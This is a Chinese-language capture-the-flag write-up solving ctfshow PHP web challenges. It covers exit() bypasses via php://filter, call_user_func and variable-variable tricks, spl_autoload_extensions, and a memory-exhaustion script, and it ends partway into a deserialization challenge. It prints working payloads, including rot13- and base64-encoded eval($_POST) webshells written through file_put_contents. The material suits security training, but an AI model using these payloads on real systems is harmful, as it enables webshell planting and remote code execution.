热身

image-20250131233707641

这个确实是热身,一开始以为直接找flag就行,但是没找到,后面查看了一下phpinfo找到了一个路径

15cc588af87ce617a13ab1fa6e7f4f8

auto_prepend_file 是 PHP 的一个配置选项,用于指定在每个 PHP 脚本执行之前自动包含的文件。

这个文件路径看着比较可疑,所以我去读取了一下,果然是有flag的

web1

image-20250131234637782

#死亡exit()绕过

意思就是我们无论写入什么都会因为插入一句exit()去强制结束运行

需要绕过exit()的地方一般都是file_put_contents

主要思路:利用php伪协议的写过滤器,对即将要写的内容(content)进行处理后,会将<?php exit();处理成php无法解析的内容,而我们的content则会被处理成正常的payload。

大致有如下三种

1
2
3
file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");

第一种:

1
file_put_contents($filename,"<?php exit();".$content);

base64编码绕过

1
2
filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD9waHAgcGhwaW5mbygpOz8+

利用php://filter,先将内容进行解码后再写入文件

<?php phpinfo();?>base64编码后为aPD9waHAgcGhwaW5mbygpOz8+,至于为什么前面要加个a,是因为base64解码以4个字节为1组转换为3个字节,前面的<?php exit();符合base64编码的只有phpexit这7个字节,因此添加一个字节来满足编码

rot13编码绕过

1
2
filename=php://filter/convert.string.rot13/resource=shell.php
content=<?cuc cucvasb();?>

过滤器嵌套绕过

一种payload

1
2
filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
content=?>PD9waHAgcGhwaW5mbygpOz8+

string.strip_tags可以过滤掉html标签和php标签里的内容,然后再进行base64解码

第二种

第二种情况也就是我们题目中的

1
file_put_contents($content,"<?php exit();".$content);

rot13编码绕过

首先我们要了解一下rot13加密

image-20250131235820576

了解了rot13转换之后,我们可以想到,他只会把字母替换,而其他的数字、符号不受影响
那么我们就可以这样来想,破坏掉exit来插入我们想要执行的语句

例如我们想构造phpinfo

payload:

1
<?cuc cucvasb();?>为<?php phpinfo();?>的rot13加密转化

那我们试着传入这个文件

1
content=php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php
  • php://filter: 这是 PHP 提供的一种流过滤器,可以对输入流进行处理。

  • write=string.rot13:这是一个写过滤器,表示对数据进行 ROT13 加密。

  • /resource=shell.php: 这是指定的资源文件,可能是一个 PHP 文件。

然后我们访问shell.php可以看到成功执行了

image-20250201000208526

说明我们的exit是已经被破坏掉了,这时候我们写入一句话木马

1
?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[cmd]);?>|/resource=shell.php

注意这个密码cmd不是我们的密码,而是rot13加密后的密码,所以这个密码正确的应该是pzq(一直以为是我马子没写进去,疯狂传马,后面才意识到这个问题)

image-20250201002624053

看到自己写了这么多马,笑死了

web2

#变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

highlight_file(__FILE__);
session_start();
error_reporting(0);

include "flag.php";

if(count($_POST)===1){
extract($_POST);
if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){
echo $flag;
}
}
?>

首先关注的是call_user_func()那句话,如果这个函数存在并返回的结果是字符串,但是我们还是需要重点了解语句里面的$$$$$${key($_POST)}

我们先举一个简单的例子

image-20250202170304506

可以看到经过这个变量的多层覆盖,最终可以实现正常的运行结果

这里要求call_user_func执行 post第一个参数的返回值为Happynewyear,但是这里call_user_func会把参数当作函数来执行,同时只有这一个函数,因此我们需要一个无参数函数返回值为 Happynewyear

一开始想着post传入HappyNewYear=a然后get传入a=HappyNewYear去进行变量覆盖的但是没打通,忘记这里是有一个call_user_func函数了

观察题目发现有一句session_start(); ,这里我们可以用session_id函数 ,他会返回PHPSESSID的值,我们设定PHPSESSID为Happynewyear

image-20250202172335064

web3

#返回true的无参数函数

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
error_reporting(0);

include "flag.php";
$key= call_user_func(($_GET[1]));

if($key=="HappyNewYear"){
echo $flag;
}

die("虎年大吉,新春快乐!");

虎年大吉,新春快乐!

这里的话是一个弱比较的绕过,只要让判断结果为true就可以了,我们可以传入session_start

session_start()函数 — 启动新会话或者重用现有会话

成功开始会话返回 true ,反之返回 false

当然这里不只是可以用session_start,那种返回值是true的无参数函数基本上也都可以用

image-20250202173408231

web4

#返回后缀名的函数

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);
error_reporting(0);

$key= call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");

die("虎年大吉,新春快乐!");

虎年大吉,新春快乐!

file_put_contents()用于将数据内容写入文件,第一个参数就是传入文件的名字或者文件路径,而第二个参数就是我们的文件内容

文件内容是一句话木马,那么我们需要传入一个参数是可以返回我们的文件路径或者文件名的

一开始是使用的getcwd()函数去返回当前的目录,但是考虑到没有具体的文件名可以写不进去,所以后面查了一下可以用spl_autoload_extensions()函数

image-20250203110917269

image-20250203111403687

可以看到这里默认的扩展名是.inc,.php

然后我们传入spl_autoload_extensions,然后访问后可以用蚁剑连接也可以进行传参rce

web5

#使用内存溢出绕过file_put_contents机制

1
2
3
4
5
6
7
8
error_reporting(0);
highlight_file(__FILE__);


include "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);

如果 filename 不存在,将会创建文件。反之,存在的文件将会重写。

在使用file_put_contents()函数的时候PHP 需要分配额外的内存来存储结果。如果结果字符串的总大小超过了 PHP 的内存限制,就会导致内存溢出。

而我们是要直接下载🐯去读取flag的,所以这里可以传入一大堆hu来让php报错,导致🐯文件不被覆盖,然后访问🐯下载即可

注意这里hu太多会导致上传失败提示文件过大,hu过少会导致php不报错,具体来说传入524280个hu即可

写个脚本吧

1
2
3
4
5
6
7
import requests
url="http://63b4e936-07a0-43fc-a8ac-1cff415e6815.challenge.ctf.show/"
data={
"🐯" : 524280*"hu"
}
r=requests.post(url,data=data)
print(r.text)

然后我们访问下载文件🐯就可以拿到flag了

web6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];
function filter($img){
$filter_arr = array('ctfshow','daniu','happyhuyear');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION['function'] = $function;
extract($_POST['GET']);
$_SESSION['file'] = base64_encode("/root/flag");
$serialize_info = filter(serialize($_SESSION));
if($function == 'GET'){
$userinfo = unserialize($serialize_info);
//出题人已经拿过flag,题目正常,也就是说...
echo file_get_contents(base64_decode($userinfo['file']));
}

file_get_contents(base64_decode($userinfo['file'])) 将读取指定路径(/root/flag)的文件内容并输出。

这里我们要注意的是,unset()函数会清空session会话